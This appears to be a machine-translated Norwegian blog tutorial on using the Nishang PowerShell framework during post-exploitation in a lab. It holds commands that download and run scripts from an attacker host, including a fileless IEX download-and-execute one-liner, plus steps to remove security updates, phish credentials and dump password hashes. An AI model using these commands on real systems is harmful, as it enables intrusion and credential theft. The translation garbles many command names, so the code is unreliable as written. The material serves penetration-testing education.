Nishang: A Post-Exploitation Framework

jeg gjorde nylig en ekstern penetrasjonstest for en av våre kunder, hvor jeg fikk shell-tilgang Til Windows Server 2012 (Intern WebServer som sitter bak EN IPS) med Administrative Rettigheter. Det ser også ut Til å ha Et Antivirusprogram installert på systemet, da alt jeg lastet opp på maskinen, ble slettet i fly. Jeg lette etter alle mulighetene for å omgå dette problemet, og bestemte meg for å fortsette Med PowerShell. I det øyeblikket du bestemmer deg for å fortsette Med PowerShell for din postutnyttelse, trenger du egentlig ikke å bekymre deg for å skrive dine egne skript for å vinne spillet, da det er et par alternativer tilgjengelig online. En av dem som jeg virkelig likte Er Nishang. Selv om jeg har observert dette rammeverket helt fra begynnelsen, jeg fikk aldri en sjanse til å bruke den i den virkelige verden penetrasjonstester før dette.

hvis du noen gang kommer over en situasjon der Du må bruke Nishang i pentestene dine, så lenge DU har RDP-tilgang til den eksterne maskinen, er livet ditt enkelt. Men hvordan går du videre når RDP ikke er tilgjengelig, og alt du har er et eksternt skall? Denne artikkelen gir deg en introduksjon til Hvordan Du bruker Nishang når Du bare har et eksternt skall.

Hva Er Nishang?

Nishang Er en åpen kildekode rammeverk med en flere kraftige PowerShell skript som du kan bruke under etter utnyttelse fase av penetrasjonstest. Den har mange skript kategorisert i ulike kategorier som informasjonsinnhenting, skanning, privilegium høyde etc. Denne artikkelen vil dekke noen av disse skriptene i ingen bestemt rekkefølge. Resten av skriptene blir overlatt til leserne som en øvelse, siden Nishang er godt dokumentert med noen gode hjelpemuligheter.

hovedmålet med denne artikkelen er å introdusere Nishang og å demonstrere hvordan Du bruker Nishang når du har ekstern skall på målsystemet.

Lab Setup:

før du begynner å lese artikkelen, er det få poeng å merke seg.

  1. Det er få nyttelaster I Metasploit for å få en interaktiv PowerShell-konsoll på offerets maskin. Det betyr at når du bruker dem, får du en ekstern PowerShell, hvor du kan kjøre PowerShell cmdlets og skript eksternt.
  2. Meterpreter ser ikke ut til å fungere bra med PowerShell. Dette betyr at du kanskje ikke får en interaktiv PowerShell-konsoll når Du Har Meterpreter shell og forsøker å få PowerShell fra den ved hjelp av kommandoen » powershell.exe » på kommandoskallet.
  3. Det er alltid godt å lære ting med et skall som har begrensede funksjoner, slik at du får det beste ut av det du lærer. Dette betyr at vi har et enkelt interaktivt skall hentet fra den eksterne maskinen Ved Hjelp Av Netcat.

Installasjon

følgende figur viser et skall med Administrative rettigheter.

Vi vil bruke dette skallet til Å bruke Nishang og utforske noen av sine skript.

Nishang er tilgjengelig I Kali Linux under «/usr/share/nishang/» katalogen. Alternativt kan du laste den ned fra følgende link.

https://github.com/samratashok/nishang

La oss begynne.

Når vi har et eksternt skall, er det få alternativer for å utføre PowerShell-skript. Men først må du bestemme mellom følgende to situasjoner.

  1. du vil laste ned skriptene dine på disken og deretter utføre.
  2. Utfør skriptene dine uten å berøre disken.

jeg går med det første alternativet i denne artikkelen. Hvis du er interessert i alternativ 2, har jeg gitt metoden på slutten av artikkelen.

Laste opp filer til den eksterne maskinen

følgende 3-linjers skript kan brukes til å laste ned skript på offerets maskin.

$ klient = Nytt Objekt System.Net.WebClient

$targetlocation = «http://192.168.56.103/Check-VM.ps1»

$client. DownloadFile ($targetlocation, «Sjekk-VM. ps1»)

Vi laster Ned Check-VM.ps1 script på den eksterne maskinen ved hjelp av skriptet ovenfor. Derfor må vi opprette en fil med skriptet ovenfor som innhold. For å gjøre dette, skriv bare inn følgende kommandoer en etter en på skallet vi fikk.

ekko $klient = Nytt Objekt System.Net.WebClient>script.ps1

ekko $targetlokasjon = «http://192.168.56.103/Check-VM.ps1» >> script. ps1

ekko $ klient.Last ned fil ($targetlocation, «Check-VM.ps1») > >script.ps1

dette ser ut som vist nedenfor.

Når du har skriptet ditt klart på målsystemet, kjør det som vist nedenfor, slik at skriptet lastes ned på den eksterne maskinen.

powershell.exe-ExecutionPolicy Bypass-NonInteractive-fil script. ps1

Som vi kan se i figuren ovenfor, er Check-VM.ps1-skriptet lastet ned og det er klart for handling. På samme måte kan du laste ned hvilket som helst skript du vil ha.

Sjekk-VM

det første skriptet vi vil prøve Er Sjekk-VM. ps1 som vi nettopp lastet ned. Dette skriptet kontrollerer om målmaskinen kjører inne i EN VM. Den sjekker for ulike signaturer for å avgjøre om maskinen kjører inne I En Virtuell Maskin. For eksempel, hvis en prosess kalles vboxtray.exe kjører, det kan være virtual box. På samme måte, hvis følgende registeroppføring er funnet, står det at det er virtual box.

Å gjøre dette manuelt kan være plagsomt. Dette skriptet automatiserer hele prosessen for å forenkle denne oppgaven.

for å kjøre dette skriptet må vi først importere modulen og deretter ringe funksjonen «Check-VM». Siden vi er på et eksternt skall, og Det er ikke-interaktivt å kjøre PowerShell-skript, bruk følgende one-liner for å gjøre hele prosessen på ett skudd.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempCheck-VM.ps1’; Sjekk-VM}»

som vist i figuren ovenfor har skriptet identifisert det Som Virtual Box.

Port-Scan

det neste skriptet Er Port-Scan. Dette er En Av De mest nyttige skriptene Til Nishang. Når du får tilgang til en intern maskin, er det alltid en viktig del av postutnyttelsen å finne de interne Ip-Ene og skanne dem for åpne porter. Dette skriptet gjør det svært enkelt å finne live IPs av et bestemt område og skanning for åpne porter.

Kjør følgende skript for å sjekke live IPs mellom 192.168.56.101 og 192.168.56.105. Etter det, også søke etter åpne porter.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempPort-Scan.ps1’; Port-Scan –StartAddress 192.168.56.101-Endadresse 192.168.56.105-ResolveHost-ScanPort }»

Her er Awesomeness! Vi fant en domenekontroller i ovennevnte lab nettverk.

Remove-Update

hvis du vil fjerne eventuelle oppdateringer installert på målmaskinen, er dette skriptet for deg. Remove-Update script hjelper deg å fjerne en oppdatering fra målmaskinen.

La Oss først sjekke listen over hurtigreparasjoner som er installert ved hjelp av cmdleten «Get-Hotfix».

la Oss nå prøve å fjerne den andre oppdateringen KB2534366. Kjør Remove-Update-skriptet som vist nedenfor.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempRemove-Update.ps1’; Fjern-Oppdater KB2534366}»

som vi kan se i figuren ovenfor, har oppdateringen blitt fjernet. Vi kan krysse det ved å kjøre samme cmdlet igjen som vist nedenfor.

Suksess! Oppdateringen er fjernet.

Invoke-CredentialsPhish

Dette er et godt skript for å gjøre phishing og å motta brukernavnet og passordet til offeret i klar tekst. Det beste er at du får riktig brukernavn og passord, da dette phishing-vinduet ikke forsvinner før offeret kommer inn i riktig brukernavn og passord.

Kjør følgende skript i terminalen.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempInvoke-CredentialsPhish.ps1’; Påberope-Credentialsfish}»

dette vil åpne et vindu på offerets maskin som vist nedenfor. La oss først skrive inn noen tilfeldige brukernavn og passord.

etter noen sekunder, dette vinduet vil dukke opp igjen og brukeren må angi riktig legitimasjon for å kvitte seg med vinduet. Denne gangen, la oss angi riktig legitimasjon.

la oss se hva som skjedde på terminalen vår. J

vi fikk brukernavn og passord angitt av offeret.

FireBuster

FireBuster er en av de svært nyttige skript for å sjekke utgående porter som åpnes gjennom brannmuren. Dette skriptet kan testes ved hjelp Av et annet skript kalt FireListener, som fungerer en lytter til å teste tilkoblingen. Siden Det er for testformål, startet Jeg Netcat listener på port 5555 og 5556 på angriperens maskin i stedet for Å bruke FireListener. La oss nå kjøre følgende skript for å se om disse portene er tillatt gjennom brannmuren for å gjøre utgående tilkoblinger.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempFireBuster.ps1’; FireBuster 192.168.56.103 5555-5556}»

som vi kan se i figuren ovenfor, gjør offermaskinen utgående tilkoblinger gjennom de angitte portene.

La oss sjekke det en annen runde, men denne gangen blokkerte jeg utgående tilkoblinger over port 5556 i min windows-brannmur på offerets maskin.

La oss kjøre skriptet en gang til og observere resultatene.

Hyggelig, vi kan se at porten 5556 ikke er oppført i utgangen denne gangen.

Get-PassHashes

Dumping passord hashes fra offerets maskin er en av de vanlige tingene vi ser under etter utnyttelse. Get-PassHashes dumper passord hashes fra offerets maskin. Denne modulen krever et forhøyet skall. Derfor må VI omgå UAC på det eksterne skallet.

kjør følgende skript på et forhøyet skall.

Powershell.exe-exec bypass-Kommando » & {Import-Modul ‘C:UsersUserDesktoptempGet-PassHashes.ps1’; Get-PassHashes}»

Som vi kan se i figuren ovenfor, fikk vi alle hashene.

hvis DU vil vite OM uac bypass konsepter, vennligst gå gjennom følgende bok skrevet av meg, der det er forklart i detaljert.

https://resources.infosecinstitute.com/download/post-exploitation-without-automated-tools/

hvis du vil laste ned og utføre de ovennevnte modulene uten å berøre disken, kan du bruke følgende metode.

powershell.exe-exec bypass-Kommando » Iex (Ny-Objekt Net .WebClient).Last ned (‘http://192.168.56.103/Check-VM.ps1’); Check-VM»

The Road Ahead

Det er mange andre nyttige skript tilgjengelig I Nishang som kan brukes under våre penetrasjonstester, og jeg forlater dem til leserne som en øvelse, da konseptet bak å bruke et annet skript vil forbli det samme. En Annen PowerShell toolkit kalt PowerSploit har blitt diskutert tidligere på bloggen vår, som du finner her.

for å vite mer Om Nishang sine siste oppdateringer, kan du følge bloggen deres her.

Legg igjen en kommentar

Din e-postadresse vil ikke bli publisert.